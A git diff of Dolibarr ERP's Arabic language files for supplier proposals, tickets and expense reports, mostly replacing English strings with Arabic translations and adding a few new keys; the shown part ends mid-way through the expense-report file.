a/htdocs/langs/ar_SA/supplier_proposal.lang +++ b/htdocs/langs/ar_SA/supplier_proposal.lang @@ -1,25 +1,26 @@ # Dolibarr language file - Source file is en_US - supplier_proposal -SupplierProposal=Vendor commercial proposals +SupplierProposal=عروض البائع التجارية supplier_proposalDESC=إدارة طلبات السعر للموردين SupplierProposalNew=طلب السعر الجديد CommRequest=طلب السعر CommRequests=طلبات الأسعار SearchRequest=العثور على الطلب DraftRequests=مشروع طلبات -SupplierProposalsDraft=Draft vendor proposals -LastModifiedRequests=Latest %s modified price requests +SupplierProposalsDraft=صياغة مقترحات البائعين +LastModifiedRequests=أحدث طلبات أسعار معدلة لـ %s RequestsOpened=طلبات السعر المفتوحة -SupplierProposalArea=Vendor proposals area -SupplierProposalShort=Vendor proposal -SupplierProposals=Vendor proposals -SupplierProposalsShort=Vendor proposals +SupplierProposalArea=منطقة عروض البائعين +SupplierProposalShort=اقتراح البائع +SupplierProposals=عروض الموردين +SupplierProposalsShort=عروض الموردين +AskPrice=طلب السعر NewAskPrice=طلب السعر الجديد ShowSupplierProposal=طلب عرض أسعار AddSupplierProposal=إنشاء طلب السعر -SupplierProposalRefFourn=Vendor ref +SupplierProposalRefFourn=مرجع البائع SupplierProposalDate=تاريخ التسليم او الوصول SupplierProposalRefFournNotice=قبل أن يغلق على "مقبول"، والتفكير لفهم الموردين المراجع. -ConfirmValidateAsk=Are you sure you want to validate this price request under name %s? +ConfirmValidateAsk=هل أنت متأكد من أنك تريد التحقق من صحة طلب السعر هذا تحت الاسم %s ؟ DeleteAsk=حذف الطلب ValidateAsk=التحقق من صحة الطلب SupplierProposalStatusDraft=مشروع (يجب التحقق من صحة) @@ -32,23 +33,26 @@ SupplierProposalStatusValidatedShort=التحقق من صحة SupplierProposalStatusClosedShort=مغلق SupplierProposalStatusSignedShort=قبلت SupplierProposalStatusNotSignedShort=رفض -CopyAskFrom=إنشاء طلب السعر عن طريق نسخ طلب القائمة +CopyAskFrom=قم بإنشاء طلب سعر عن طريق نسخ طلب موجود CreateEmptyAsk=إنشاء طلب فارغة -ConfirmCloneAsk=Are you sure you want to clone the price request %s? -ConfirmReOpenAsk=Are you sure you want to open back the price request %s? +ConfirmCloneAsk=هل أنت متأكد من أنك تريد استنساخ طلب السعر %s ؟ +ConfirmReOpenAsk=هل أنت متأكد من أنك تريد إعادة فتح طلب السعر %s ؟ SendAskByMail=إرسال طلب السعر عن طريق البريد SendAskRef=إرسال سعر الطلب٪ الصورة SupplierProposalCard=طلب بطاقة -ConfirmDeleteAsk=Are you sure you want to delete this price request %s? +ConfirmDeleteAsk=هل تريد بالتأكيد حذف طلب السعر هذا %s ؟ ActionsOnSupplierProposal=الأحداث على طلب السعر DocModelAuroreDescription=نموذج طلب كامل (شعار ...) CommercialAsk=طلب السعر DefaultModelSupplierProposalCreate=إنشاء نموذج افتراضي DefaultModelSupplierProposalToBill=القالب الافتراضي عند إغلاق طلب السعر (مقبول) DefaultModelSupplierProposalClosed=القالب الافتراضي عند إغلاق طلب السعر (رفض) -ListOfSupplierProposals=List of vendor proposal requests -ListSupplierProposalsAssociatedProject=List of vendor proposals associated with project -SupplierProposalsToClose=Vendor proposals to close -SupplierProposalsToProcess=Vendor proposals to process -LastSupplierProposals=Latest %s price requests -AllPriceRequests=All requests +ListOfSupplierProposals=قائمة طلبات عروض البائعين +ListSupplierProposalsAssociatedProject=قائمة عروض الموردين المرتبطة بالمشروع +SupplierProposalsToClose=مقترحات البائع لإغلاق +SupplierProposalsToProcess=مقترحات البائعين للعملية +LastSupplierProposals=أحدث طلبات أسعار %s +AllPriceRequests=كل الطلبات +TypeContact_supplier_proposal_external_SHIPPING=جهة اتصال البائع للتسليم +TypeContact_supplier_proposal_external_BILLING=جهة اتصال البائع لإعداد الفواتير +TypeContact_supplier_proposal_external_SERVICE=اقتراح ممثل متابعة diff --git a/htdocs/langs/ar_SA/ticket.lang b/htdocs/langs/ar_SA/ticket.lang index 9ffe6e01161..5ca4f12d467 100644 --- a/htdocs/langs/ar_SA/ticket.lang +++ b/htdocs/langs/ar_SA/ticket.lang @@ -26,7 +26,9 @@ Permission56002=تعديل التذاكر Permission56003=حذف التذاكر Permission56004=إدارة التذاكر Permission56005=عرض جميع تذاكر الأطراف الثالثة (غير فعالة للمستخدمين الخارجيين ، دائماً محدودين بالطرف الثالث المعتمدين عليه) +Permission56006=Export tickets +Tickets=التذاكر TicketDictType=انواع - التذاكر TicketDictCategory=مجموعات - التذاكر TicketDictSeverity=اولويات - التذاكر @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=مساهم خارجي OriginEmail=البريد الإلكتروني للمبلغ Notify_TICKET_SENTBYMAIL=إرسال إشعار التذكرة بالبريد الإلكتروني +ExportDataset_ticket_1=التذاكر + # Status Read=قراءة Assigned=مسند @@ -90,15 +94,17 @@ TicketPublicAccess=واجهة عامة لا تتطلب توثيق متاحة ع TicketSetupDictionaries=انواع التذاكر ، الأولويات و الوسوم التحليلية متاحة عن طريق القواميس TicketParamModule=إعداد متغيرات الوحدة TicketParamMail=إعدادات البريد الإلكتروني -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr -TicketEmailNotificationTo=Notify ticket creation to this e-mail address -TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation +TicketEmailNotificationFrom=البريد الإلكتروني المرسل للإخطار بالإجابات +TicketEmailNotificationFromHelp=بريد المرسل الإلكتروني المراد استخدامه لإرسال بريد إلكتروني للإشعار عند تقديم إجابة داخل المكتب الخلفي. على سبيل المثال noreply@example.com +TicketEmailNotificationTo=قم بإخطار إنشاء التذكرة إلى عنوان البريد الإلكتروني هذا +TicketEmailNotificationToHelp=إذا كان موجودًا ، فسيتم إخطار عنوان البريد الإلكتروني هذا بإنشاء تذكرة TicketNewEmailBodyLabel=النص المرسل بعد إنشاء التذكرة TicketNewEmailBodyHelp=النص المدخل هنا سيتم إدراجه في إشعار البريد الإلكتروني الذى يؤكد إنشاء التذكرة من الواجهة العامة. معلومات تداول التذكرة ستضاف تلقائيا. TicketParamPublicInterface=إعدادات الواجهة العامة TicketsEmailMustExist=مطلوب بريد إلكتروني موجود لإنشاء تذكرة TicketsEmailMustExistHelp=في الواجهة العامة ، عنوان البريد الإلكتروني يجب ان يكون مدخل في قواعد البيانات لتتمكن من إنشاء تذكرة +TicketCreateThirdPartyWithContactIfNotExist=اسأل الاسم واسم الشركة عن رسائل البريد الإلكتروني غير المعروفة. +TicketCreateThirdPartyWithContactIfNotExistHelp=تحقق من وجود طرف ثالث أو جهة اتصال للبريد الإلكتروني الذي تم إدخاله. إذا لم يكن كذلك ، اطلب اسمًا واسم شركة لإنشاء طرف ثالث لديه جهة اتصال. PublicInterface=الواجهة العامة TicketUrlPublicInterfaceLabelAdmin=رابط بديل للواجهة العامة TicketUrlPublicInterfaceHelpAdmin=من الممكن تعريف إسم بديل لخادم الويب وبالتالي جعل الواجهة العامة متاحة عن طريق رابط اخر (يجب ان يعمل الخادم كوسيط للرابط الجديد) @@ -136,17 +142,19 @@ TicketsPublicNotificationNewMessage=إرسال إشعار بريد إلكترو TicketsPublicNotificationNewMessageHelp=إرسال إشعار بريد إلكتروني عند إضافة رسالة جديدة من الواجهة العامة (للمستخدم المسندة إليه التذكرة او بريد إشعارات التعديلات او بريد المرسل إليه في التذكرة) TicketPublicNotificationNewMessageDefaultEmail=عنوان بريد إشعارات (التعديلات) TicketPublicNotificationNewMessageDefaultEmailHelp=إرسال رسائل بريد إلكتروني الى هذا العنوان عند كل رسالة تعديل للتذاكر غير المسندة لمستخدم معين او إذا كان المستخدم المسندة إليه ليس لديه بريد معلوم. -TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) -TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". -TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): -TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. -TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): -TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. -TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket -TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. -TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. -TicketChooseProductCategory=Product category for ticket support -TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketsAutoReadTicket=وضع علامة على التذكرة تلقائيًا كمقروءة (عند إنشائها من المكتب الخلفي) +TicketsAutoReadTicketHelp=ضع علامة على التذكرة تلقائيًا كمقروءة عند إنشائها من المكتب الخلفي. عند إنشاء التذكرة من الواجهة العامة ، تظل البطاقة بحالة "غير مقروءة". +TicketsDelayBeforeFirstAnswer=يجب أن تتلقى التذكرة الجديدة إجابة أولى قبل (ساعات): +TicketsDelayBeforeFirstAnswerHelp=إذا لم تتلق التذكرة الجديدة إجابة بعد هذه الفترة الزمنية (بالساعات) ، فسيتم عرض أيقونة تحذير مهمة في عرض القائمة. +TicketsDelayBetweenAnswers=يجب ألا تكون التذكرة التي لم يتم حلها غير نشطة خلال (ساعات): +TicketsDelayBetweenAnswersHelp=إذا لم يكن هناك تفاعل إضافي للتذكرة التي لم يتم حلها والتي تلقت إجابة بالفعل بعد هذه الفترة الزمنية (بالساعات) ، فسيتم عرض رمز تحذير في عرض القائمة. +TicketsAutoNotifyClose=إخطار الطرف الثالث تلقائيًا عند إغلاق التذكرة +TicketsAutoNotifyCloseHelp=عند إغلاق التذكرة ، سيقترح عليك إرسال رسالة إلى أحد جهات اتصال الطرف الثالث. عند الإغلاق الجماعي ، سيتم إرسال رسالة إلى جهة اتصال واحدة للطرف الثالث المرتبط بالتذكرة. +TicketWrongContact=الاتصال المقدم ليس جزءًا من جهات اتصال التذاكر الحالية. لم يتم إرسال البريد الإلكتروني. +TicketChooseProductCategory=فئة المنتج لدعم التذاكر +TicketChooseProductCategoryHelp=حدد فئة المنتج لدعم التذاكر. سيتم استخدام هذا لربط العقد تلقائيًا بالتذكرة. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -163,8 +171,8 @@ OrderByDateAsc=ترتيب تصاعديا حسب التاريخ OrderByDateDesc=ترتيب تنازليا حسب التاريخ ShowAsConversation=عرض كقائمة محادثات MessageListViewType=عرض كقائمة جداول -ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets -ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? +ConfirmMassTicketClosingSendEmail=إرسال رسائل البريد الإلكتروني تلقائيًا عند إغلاق التذاكر +ConfirmMassTicketClosingSendEmailQuestion=هل تريد إخطار الأطراف الثالثة عند إغلاق هذه التذاكر؟ # # Ticket card @@ -178,7 +186,7 @@ CreatedBy=تم الإنشاء بواسطة NewTicket=تذكرة جديدة SubjectAnswerToTicket=إجابة التذكرة TicketTypeRequest=نوع الطلب -TicketCategory=تصنيف التذكرة +TicketCategory=Ticket group SeeTicket=عرض التذكرة TicketMarkedAsRead=تم تحديد التذكرة كمقروءة TicketReadOn=تمت القراءة في @@ -190,8 +198,7 @@ TicketAssigned=تم إسناد التذكرة TicketChangeType=تغيير النوع TicketChangeCategory=تغيير الرمز التحليلي TicketChangeSeverity=تغيير الأولوية -TicketAddMessage=إضافة رسالة -AddMessage=إضافة رسالة +TicketAddMessage=Add private message MessageSuccessfullyAdded=تم إضافة التذكرة TicketMessageSuccessfullyAdded=تم إضافة الرسالة TicketMessagesList=قائمة الرسائل @@ -202,8 +209,8 @@ TicketSeverity=الأولوية ShowTicket=عرض التذكرة RelatedTickets=التذاكر المرتبطة TicketAddIntervention=إنشاء تدخل -CloseTicket=إغلاق التذكرة كمحلولة -AbandonTicket=إلغاء التذكرة +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=إغلاق التذكرة كمحلولة ConfirmCloseAticket=تأكيد إغلاق التذكرة ConfirmAbandonTicket=هل انت متأكد من إغلاق التذكرة كملغية @@ -217,18 +224,17 @@ SendMessageByEmail=إرسال بريد إلكتروني TicketNewMessage=رسالة جديدة ErrorMailRecipientIsEmptyForSendTicketMessage=المستقبل خالي. لم يتم إرسال البريد الإلكتروني TicketGoIntoContactTab=يرجى الذهاب الى تبويب "جهات الإتصال" لاختيارهم -TicketMessageMailIntro=مقدمة +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=يضاف هذا النص فقط في بداية البريد الإلكتروني و لن يتم حفظه -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers -TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=التوقيع -TicketMessageMailSignatureHelp=هذا النص سيتم إدراجه فقط في نهاية البريد الإلكتروني ولن يتم حفظه -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=توقيع بريد الإستجابة -TicketMessageMailSignatureHelpAdmin=هذا النص سيتم إدراجه بعد رسالة الإستجابة +TicketMessageMailIntroText=مرحبًا ،
      تمت إضافة إجابة جديدة إلى التذكرة التي تتبعها. ها هي الرسالة:
      +TicketMessageMailIntroHelpAdmin=سيتم إدراج هذا النص قبل الإجابة عند الرد على تذكرة من Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=هذا النص سيتم إدراجه بعد رسالة الإستجابة TicketMessageHelp=فقط هذا النص سيتم حفظه في قائمة الرسائل في بطاقة التذكرة TicketMessageSubstitutionReplacedByGenericValues=متغيرات الإستبدال تأخذ قيم عامة +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=الزمن المستغرق منذ TicketTimeToRead=الزمن المستغرق قبل القراءة TicketTimeElapsedBeforeSince=الزمن المستغرق قبل \\\\ منذ @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=تم إضافة رسالة جديدة TicketAssignedToYou=تم إسناد التذكرة TicketAssignedEmailBody=تم إسناد التذكرة رقم %s إليك من قبل %s MarkMessageAsPrivate=تحديد الرسالة كخاصة +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=هذه الرسالة لن تعرض للمستخدمين الخارجيين TicketEmailOriginIssuer=عنوان البريد عند قطع التذكرة InitialMessage=الرسالة الاصلية @@ -252,16 +259,16 @@ TicketChangeStatus=تغيير الحالة TicketConfirmChangeStatus=تأكيد تغيير الحالة: %s ؟ TicketLogStatusChanged=تم تغيير الحالى : %s الى %s TicketNotNotifyTiersAtCreate=لا تخطر الشركات عند الإنشاء -NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket -TicketNotifyAllTiersAtClose=All related contacts -TicketNotNotifyTiersAtClose=No related contact +NotifyThirdpartyOnTicketClosing=جهات الاتصال لإخطار أثناء إغلاق التذكرة +TicketNotifyAllTiersAtClose=جميع جهات الاتصال ذات الصلة +TicketNotNotifyTiersAtClose=لا يوجد جهة اتصال ذات صلة Unread=غير مقروءة TicketNotCreatedFromPublicInterface=غير متاحة. التذكرة لم يتم إنشاءها من الواجهة العامة ErrorTicketRefRequired=الرقم المرجعي للتذكرة مطلوب -TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. -TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. -TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. -TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. +TicketsDelayForFirstResponseTooLong=انقضى وقت طويل جدًا منذ فتح التذكرة دون أي إجابة. +TicketsDelayFromLastResponseTooLong=انقضى وقت طويل جدًا منذ آخر إجابة على هذه التذكرة. +TicketNoContractFoundToLink=لم يتم العثور على عقد مرتبط تلقائيًا بهذه التذكرة. الرجاء ربط العقد يدويا. +TicketManyContractsLinked=تم ربط العديد من العقود تلقائيًا بهذه التذكرة. تأكد من التحقق مما يجب اختياره. # # Logs @@ -289,12 +296,12 @@ TicketNewEmailBody=هذا بريد إلكتروني تلقائي لتأكيد ق TicketNewEmailBodyCustomer=هذا بريد إلكتروني تلقائي لتأكيد إنشاء تذكرة جديدة على حسابك TicketNewEmailBodyInfosTicket=معلومات مراقبة التذكرة TicketNewEmailBodyInfosTrackId=رقم تتبع التذكرة: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link +TicketNewEmailBodyInfosTrackUrl=يمكنك عرض تقدم التذكرة بالضغط على الرابط التالي TicketNewEmailBodyInfosTrackUrlCustomer=يمكنك متابعة التذكرة على الواجهة المعينة بالضغط على الرابط التالي -TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=يمكنك الرجوع إلى تاريخ هذه التذكرة بالضغط على الرابط التالي TicketEmailPleaseDoNotReplyToThisEmail=يرجى عدم الرد على هذا البريد الإلكتروني ! إستخدم الرابط للرد على الواجهة. TicketPublicInfoCreateTicket=تتيح لك هذه الإستمارة تسجيل تذكرة دعم فني لدى نظامنا الإداري. -TicketPublicPleaseBeAccuratelyDescribe=يرجى وصف المشكلة بدقة. وذكر اكبر قدر من المعلومات بما يتيح لنا معرفة طلبك بشكل جيد. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=يرجى إدخال رقم تتبع التذكرة TicketTrackId=رقم التتبع العام OneOfTicketTrackId=واحد من ارقام التتبع الخاصة بك @@ -313,10 +320,10 @@ NewUser=المستخدم جديد NumberOfTicketsByMonth=عدد التذاكر شهريا NbOfTickets=عدد التذاكر # notifications -TicketCloseEmailSubjectCustomer=Ticket closed -TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. -TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) -TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: +TicketCloseEmailSubjectCustomer=تم إغلاق التذكرة +TicketCloseEmailBodyCustomer=هذه رسالة تلقائية لإعلامك بأن التذكرة %s قد تم إغلاقها للتو. +TicketCloseEmailSubjectAdmin=تم إغلاق التذكرة - Réf %s (معرف التذكرة العامة %s) +TicketCloseEmailBodyAdmin=تم إغلاق تذكرة بالمعرف # %s ، راجع المعلومات: TicketNotificationEmailSubject=تم تعديل التذكرة %s. TicketNotificationEmailBody=هذه رسالة تلقائية لإعلامك بأن التذكرة %s تم تعديلها TicketNotificationRecipient=مستلم الإشعار @@ -344,7 +351,7 @@ BoxTicketLastXDays=عدد التذاكر الجديدة بالأيام في اخ BoxTicketLastXDayswidget = عدد التذاكر الجديدة بالأيام في اخر س يوم BoxNoTicketLastXDays=لا توجد تذاكر جديدة في اخر %s ايام BoxNumberOfTicketByDay=عدد التذاكر الجديدة بالأيام -BoxNewTicketVSClose=Number of tickets versus closed tickets (today) +BoxNewTicketVSClose=عدد التذاكر مقابل التذاكر المغلقة (اليوم) TicketCreatedToday=التذاكر المنشأة اليوم TicketClosedToday=التذاكر المغلقة اليوم -KMFoundForTicketGroup=We found topics and FAQs that may answers your question, thanks to check them before submitting the ticket +KMFoundForTicketGroup=وجدنا المواضيع والأسئلة الشائعة التي قد تجيب على سؤالك ، وذلك بفضل التحقق منها قبل إرسال التذكرة diff --git a/htdocs/langs/ar_SA/trips.lang b/htdocs/langs/ar_SA/trips.lang index d6aecb1b41f..c1e2d3ffca3 100644 --- a/htdocs/langs/ar_SA/trips.lang +++ b/htdocs/langs/ar_SA/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips +AUTHOR=تم تسجيلها عن طريق +AUTHORPAIEMENT=يتحملها +AddTrip=إنشاء تقرير حساب +AllExpenseReport=كل نوع من تقرير المصاريف +AllExpenseReports=جميع تقارير المصاريف +AnyOtherInThisListCanValidate=الشخص المراد إبلاغه للتحقق من صحة الطلب. +AttachTheNewLineToTheDocument=أرفق السطر بمستند تم تحميله +AucuneLigne=لا يوجد تقرير مصروفات تعلن بعد +BrouillonnerTrip=الرجوع تقرير نفقة لوضع "مسودة" +byEX_DAY=في اليوم (قيود على %s) +byEX_EXP=عن طريق السطر (الحصر لـ %s) +byEX_MON=حسب الشهر (الحصر لـ %s) +byEX_YEA=حسب السنة (قيود على %s) +CANCEL_USER=حذف من قبل +CarCategory=فئة السيارة +ClassifyRefunded=تصنيف "ردها" +CompanyVisited=زيارة الشركة / المنظمة +ConfirmBrouillonnerTrip=هل أنت متأكد من أنك تريد نقل تقرير المصاريف هذا إلى الحالة "مسودة"؟ +ConfirmCancelTrip=هل أنت متأكد أنك تريد إلغاء تقرير المصاريف هذا؟ +ConfirmCloneExpenseReport=هل أنت متأكد أنك تريد استنساخ تقرير المصاريف هذا؟ +ConfirmDeleteTrip=هل أنت متأكد أنك تريد حذف تقرير المصاريف هذا؟ +ConfirmPaidTrip=هل أنت متأكد أنك تريد تغيير حالة تقرير المصاريف هذا إلى "مدفوعة"؟ +ConfirmRefuseTrip=هل أنت متأكد أنك تريد رفض تقرير المصاريف هذا؟ +ConfirmSaveTrip=هل أنت متأكد أنك تريد التحقق من صحة تقرير المصاريف هذا؟ +ConfirmValideTrip=هل أنت متأكد أنك تريد الموافقة على تقرير المصاريف هذا؟ +DATE_CANCEL=تاريخ الإلغاء +DATE_PAIEMENT=تاريخ الدفع +DATE_REFUS=تاريخ ينكر +DATE_SAVE=تاريخ التحقق من الصحة +DefaultCategoryCar=وضع النقل الافتراضي +DefaultRangeNumber=رقم النطاق الافتراضي +DeleteTrip=حذف تقرير حساب +ErrorDoubleDeclaration=لقد أعلن تقرير حساب آخر في نطاق تاريخ مماثل. +Error_EXPENSEREPORT_ADDON_NotDefined=خطأ ، لم يتم تعريف قاعدة ترقيم تقرير المصاريف المرجع في إعداد الوحدة النمطية "تقرير المصاريف" +ExpenseRangeOffset=مبلغ الإزاحة: %s +expenseReportCatDisabled=الفئة معطلة - راجع قاموس c_exp_tax_cat +expenseReportCoef=معامل في الرياضيات او درجة +expenseReportCoefUndefined=(القيمة غير محددة) +expenseReportOffset=ويقابل +expenseReportPrintExample=الإزاحة + (d x coef) = %s +expenseReportRangeDisabled=النطاق معطل - راجع c_exp_tax_range dictionay +expenseReportRangeFromTo=من %d إلى %d +expenseReportRangeMoreThan=أكثر من %d +expenseReportTotalForFive=مثال مع d = 5 +ExpenseReportApplyTo=تنطبق على +ExpenseReportApproved=تمت الموافقة على تقرير المصاريف +ExpenseReportApprovedMessage=تمت الموافقة على تقرير المصاريف %s.
      - المستخدم: %s
      - معتمد من: %s
      انقر هنا لإظهار تقرير المصاريف: %s +ExpenseReportCanceled=تم إلغاء تقرير المصاريف +ExpenseReportCanceledMessage=تم إلغاء تقرير المصاريف %s.
      - المستخدم: %s
      - تم الإلغاء بواسطة: %s
      - الدافع للإلغاء: %sa034bccf هنا: +ExpenseReportConstraintViolationError=تم تجاوز الحد الأقصى للمبلغ (القاعدة %s): %s أعلى من %s (تجاوز ممنوع) +ExpenseReportConstraintViolationWarning=تجاوز الحد الأقصى للمبلغ (القاعدة %s): %s أعلى من %s (تجاوز المسموح به) +ExpenseReportDateEnd=تاريخ انتهاء +ExpenseReportDateStart=تاريخ بداية +ExpenseReportDomain=المجال المطلوب تطبيقه +ExpenseReportIkDesc=يمكنك تعديل حساب مصروفات الكيلومترات حسب الفئة والمدى اللذين تم تحديدهما مسبقًا. d هي المسافة بالكيلومترات +ExpenseReportLimitAmount=أقصى مبلغ +ExpenseReportLimitOn=حد على +ExpenseReportLine=خط تقرير حساب +ExpenseReportPaid=تم دفع تقرير المصاريف +ExpenseReportPaidMessage=تم دفع تقرير المصاريف %s.
      - المستخدم: %s
      - مدفوع: %s
      انقر هنا لعرض تقرير المصاريف: %s +ExpenseReportPayment=دفع تقرير حساب +ExpenseReportRef=المرجع. تقرير المصاريف +ExpenseReportRefused=تم رفض تقرير المصاريف +ExpenseReportRefusedMessage=تم رفض تقرير المصاريف %s.
      - المستخدم: %s
      - مرفوض من قبل: %s
      - دافع الرفض: %s a0342fcc2 هنا: +ExpenseReportRestrictive=تجاوز ممنوع +ExpenseReportRuleErrorOnSave=خطأ: %s +ExpenseReportRuleSave=تم حفظ قاعدة تقرير المصاريف +ExpenseReportRulesDesc=يمكنك تحديد قواعد المبلغ الأقصى لتقارير المصروفات. سيتم تطبيق هذه القواعد عند إضافة مصروفات جديدة إلى تقرير المصاريف +ExpenseReportWaitingForApproval=وقد قدم تقرير حساب جديد للموافقة عليها +ExpenseReportWaitingForApprovalMessage=تم إرسال تقرير مصروفات جديد وهو في انتظار الموافقة.
      - المستخدم: %s
      - الفترة: %s
      انقر هنا للتحقق من صحة: %s +ExpenseReportWaitingForReApproval=تم تقديم تقرير المصاريف لإعادة الموافقة +ExpenseReportWaitingForReApprovalMessage=تم تقديم تقرير المصاريف وينتظر إعادة الموافقة.
      في %s ، لقد رفضت الموافقة على تقرير المصاريف لهذا السبب: %s.
      تم اقتراح نسخة جديدة وتنتظر موافقتك.
      - المستخدم: %s
      - الفترة: %s
      انقر هنا للتحقق من صحة: %s +ExpenseReportsIk=تكوين رسوم الأميال +ExpenseReportsRules=قواعد تقرير المصاريف +ExpenseReportsToApprove=تقارير المصروفات للموافقة عليها +ExpenseReportsToPay=تقارير النفقات لدفع +ExpensesArea=منطقة تقارير المصاريف +FeesKilometersOrAmout=كم المبلغ أو +LastExpenseReports=أحدث تقارير النفقات %s +ListOfFees=قائمة الرسوم +ListOfTrips=قائمة التقارير حساب +ListToApprove=تنتظر الموافقة +ListTripsAndExpenses=قائمة التقارير حساب +MOTIF_CANCEL=سبب +MOTIF_REFUS=سبب +ModePaiement=طريقة الدفع +NewTrip=تقرير حساب جديد +nolimitbyEX_DAY=باليوم (بلا قيود) +nolimitbyEX_EXP=عن طريق السطر (بلا حدود) +nolimitbyEX_MON=حسب الشهر (بلا حدود) +nolimitbyEX_YEA=حسب السنة (بلا قيود) +NoTripsToExportCSV=أي تقرير نفقة لتصدير لهذه الفترة. +NOT_AUTHOR=أنت لست صاحب هذا التقرير حساب. إلغاء العملية. +OnExpense=خط المصاريف +PDFStandardExpenseReports=قالب قياسي لتوليد وثيقة PDF لتقرير حساب +PaidTrip=دفع تقرير مصروفات +REFUSEUR=نفتها +RangeIk=نطاق الأميال +RangeNum=النطاق %d +SaveTrip=التحقق من صحة التقرير حساب ShowExpenseReport=عرض تقرير حساب +ShowTrip=عرض تقرير حساب +TripCard=حساب بطاقة تقرير +TripId=تقرير حساب الهوية +TripNDF=المعلومات تقرير حساب +TripSociete=شركة المعلومات Trips=تقارير المصاريف TripsAndExpenses=تقارير النفقات TripsAndExpensesStatistics=إحصاءات تقارير المصاريف -TripCard=حساب بطاقة تقرير -AddTrip=إنشاء تقرير حساب -ListOfTrips=قائمة التقارير حساب -ListOfFees=قائمة الرسوم -TypeFees=Types of fees -ShowTrip=عرض تقرير حساب -NewTrip=تقرير حساب جديد -LastExpenseReports=Latest %s expense reports -AllExpenseReports=All expense reports -CompanyVisited=Company/organization visited -FeesKilometersOrAmout=كم المبلغ أو -DeleteTrip=حذف تقرير حساب -ConfirmDeleteTrip=Are you sure you want to delete this expense report? -ListTripsAndExpenses=قائمة التقارير حساب -ListToApprove=تنتظر الموافقة -ExpensesArea=منطقة تقارير المصاريف -ClassifyRefunded=تصنيف "ردها" -ExpenseReportWaitingForApproval=وقد قدم تقرير حساب جديد للموافقة عليها -ExpenseReportWaitingForApprovalMessage=A new expense report has been submitted and is waiting for approval.
      - User: %s
      - Period: %s
      Click here to validate: %s -ExpenseReportWaitingForReApproval=An expense report has been submitted for re-approval -ExpenseReportWaitingForReApprovalMessage=An expense report has been submitted and is waiting for re-approval.
      The %s, you refused to approve the expense report for this reason: %s.
      A new version has been proposed and waiting for your approval.
      - User: %s
      - Period: %s
      Click here to validate: %s -ExpenseReportApproved=An expense report was approved -ExpenseReportApprovedMessage=The expense report %s was approved.
      - User: %s
      - Approved by: %s
      Click here to show the expense report: %s -ExpenseReportRefused=An expense report was refused -ExpenseReportRefusedMessage=The expense report %s was refused.
      - User: %s
      - Refused by: %s
      - Motive for refusal: %s
      Click here to show the expense report: %s -ExpenseReportCanceled=An expense report was canceled -ExpenseReportCanceledMessage=The expense report %s was canceled.
      - User: %s
      - Canceled by: %s
      - Motive for cancellation: %s
      Click here to show the expense report: %s -ExpenseReportPaid=An expense report was paid -ExpenseReportPaidMessage=The expense report %s was paid.
      - User: %s
      - Paid by: %s
